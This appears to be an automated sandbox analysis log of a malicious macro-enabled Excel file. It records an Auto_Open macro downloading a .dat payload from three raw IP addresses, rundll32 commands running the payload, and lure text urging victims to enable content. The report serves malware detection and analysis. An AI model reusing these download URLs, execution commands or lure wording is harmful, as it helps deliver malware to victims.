Source: http://195.123.210.186/44285,5327891204.dat |
Avira URL Cloud: Label: malware |
Source: http://91.211.89.28/44285,5327891204.dat |
Avira URL Cloud: Label: malware |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe |
Source: global traffic |
TCP traffic: 192.168.2.22:49167 -> 45.150.67.243:80 |
Source: global traffic |
TCP traffic: 192.168.2.22:49167 -> 45.150.67.243:80 |
Source: Joe Sandbox View |
IP Address: 195.123.210.186 195.123.210.186 |
Source: global traffic |
HTTP traffic detected: GET /44285,5327891204.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 45.150.67.243Connection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /44285,5327891204.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 195.123.210.186Connection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /44285,5327891204.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 91.211.89.28Connection: Keep-Alive |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.150.67.243 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.150.67.243 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.150.67.243 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.150.67.243 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 91.211.89.28 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 91.211.89.28 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 91.211.89.28 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 91.211.89.28 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.150.67.243 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 91.211.89.28 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 91.211.89.28 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.150.67.243 |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FB206F33.gif |
Jump to behavior |
Source: global traffic |
HTTP traffic detected: GET /44285,5327891204.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 45.150.67.243Connection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /44285,5327891204.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 195.123.210.186Connection: Keep-Alive |
Source: global traffic |
HTTP traffic detected: GET /44285,5327891204.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 91.211.89.28Connection: Keep-Alive |
Source: rundll32.exe, 00000003.00000002.2108024302.0000000001C00000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2103871437.0000000001C60000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2097651062.0000000001AC0000.00000002.00000001.sdmp |
String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail) |
Source: rundll32.exe, 00000003.00000002.2108024302.0000000001C00000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2103871437.0000000001C60000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2097651062.0000000001AC0000.00000002.00000001.sdmp |
String found in binary or memory: http://investor.msn.com |
Source: rundll32.exe, 00000003.00000002.2108024302.0000000001C00000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2103871437.0000000001C60000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2097651062.0000000001AC0000.00000002.00000001.sdmp |
String found in binary or memory: http://investor.msn.com/ |
Source: rundll32.exe, 00000003.00000002.2108459215.0000000001DE7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2104076752.0000000001E47000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2097854236.0000000001CA7000.00000002.00000001.sdmp |
String found in binary or memory: http://localizability/practices/XML.asp |
Source: rundll32.exe, 00000003.00000002.2108459215.0000000001DE7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2104076752.0000000001E47000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2097854236.0000000001CA7000.00000002.00000001.sdmp |
String found in binary or memory: http://localizability/practices/XMLConfiguration.asp |
Source: rundll32.exe, 00000003.00000002.2108459215.0000000001DE7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2104076752.0000000001E47000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2097854236.0000000001CA7000.00000002.00000001.sdmp |
String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check |
Source: rundll32.exe, 00000003.00000002.2108459215.0000000001DE7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2104076752.0000000001E47000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2097854236.0000000001CA7000.00000002.00000001.sdmp |
String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true |
Source: rundll32.exe, 00000003.00000002.2108024302.0000000001C00000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2103871437.0000000001C60000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2097651062.0000000001AC0000.00000002.00000001.sdmp |
String found in binary or memory: http://www.hotmail.com/oe |
Source: rundll32.exe, 00000003.00000002.2108459215.0000000001DE7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2104076752.0000000001E47000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2097854236.0000000001CA7000.00000002.00000001.sdmp |
String found in binary or memory: http://www.icra.org/vocabulary/. |
Source: rundll32.exe, 00000003.00000002.2108024302.0000000001C00000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2103871437.0000000001C60000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2097651062.0000000001AC0000.00000002.00000001.sdmp |
String found in binary or memory: http://www.msnbc.com/news/ticker.txt |
Source: rundll32.exe, 00000005.00000002.2097651062.0000000001AC0000.00000002.00000001.sdmp |
String found in binary or memory: http://www.windows.com/pctv. |
Source: 91476525608-04012021.xlsm |
Initial sample: URLDownloadToFileA |
Source: Screenshot number: 8 |
Screenshot OCR: Enable editing button from the yellow bar above 15 0 Once you have enabled editing, please click En |
Source: Screenshot number: 8 |
Screenshot OCR: Enable Content button from the yellow bar above 16 17 18 19 20 21 22 ' 23 24 25 26 27 2 |
Source: Document image extraction number: 0 |
Screenshot OCR: Enable editing button from the yellow bar above Once you have enabled editing, please click Enabl |
Source: Document image extraction number: 0 |
Screenshot OCR: Enable Content button from the yellow bar above |
Source: Document image extraction number: 1 |
Screenshot OCR: Enable editing button from the yellow bar above Once you have enabled editing, please click Enabl |
Source: Document image extraction number: 1 |
Screenshot OCR: Enable Content button from the yellow bar above |
Source: Screenshot number: 12 |
Screenshot OCR: Enable editing button from the yeljcw bar above 15 0 Once you have enabled editing, please c|icREna |
Source: VBA code instrumentation |
OLE, VBA macro: Module Module1, Function Auto_Open, API Microsoft Excel:Application.Run(:Range) |
Name: Auto_Open |
Source: 91476525608-04012021.xlsm |
Initial sample: EXEC |
Source: 91476525608-04012021.xlsm |
Initial sample: EXEC |
Source: 91476525608-04012021.xlsm |
Initial sample: EXEC |
Source: 91476525608-04012021.xlsm |
OLE, VBA macro line: Private Sub Auto_Open() |
|
Source: VBA code instrumentation |
OLE, VBA macro: Module Module1, Function Auto_Open |
Name: Auto_Open |
Source: 91476525608-04012021.xlsm |
OLE indicator, VBA macros: true |
Source: rundll32.exe, 00000003.00000002.2108024302.0000000001C00000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2103871437.0000000001C60000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2097651062.0000000001AC0000.00000002.00000001.sdmp |
Binary or memory string: .VBPud<_ |
Source: classification engine |
Classification label: mal84.expl.evad.winXLSM@7/7@0/3 |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File created: C:\Users\user\Desktop\~$91476525608-04012021.xlsm |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File created: C:\Users\user\AppData\Local\Temp\CVRCEF2.tmp |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File read: C:\Users\desktop.ini |
Jump to behavior |
Source: C:\Windows\System32\rundll32.exe |
Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\Hodas.vyur,PluginInit |
Source: unknown |
Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding |
|
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\Hodas.vyur,PluginInit |
|
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\Hodas.vyur1,PluginInit |
|
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\Hodas.vyur2,PluginInit |
|
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\Hodas.vyur,PluginInit |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\Hodas.vyur1,PluginInit |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process created: C:\Windows\System32\rundll32.exe rundll32 ..\Hodas.vyur2,PluginInit |
Jump to behavior |
Source: C:\Windows\System32\rundll32.exe |
Automated click: OK |
Source: C:\Windows\System32\rundll32.exe |
Automated click: OK |
Source: C:\Windows\System32\rundll32.exe |
Automated click: OK |
Source: Window Recorder |
Window detected: More than 3 window changes detected |
Source: 91476525608-04012021.xlsm |
Initial sample: OLE zip file path = xl/media/image1.gif |
Source: 91476525608-04012021.xlsm |
Initial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\System32\rundll32.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\System32\rundll32.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\System32\rundll32.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |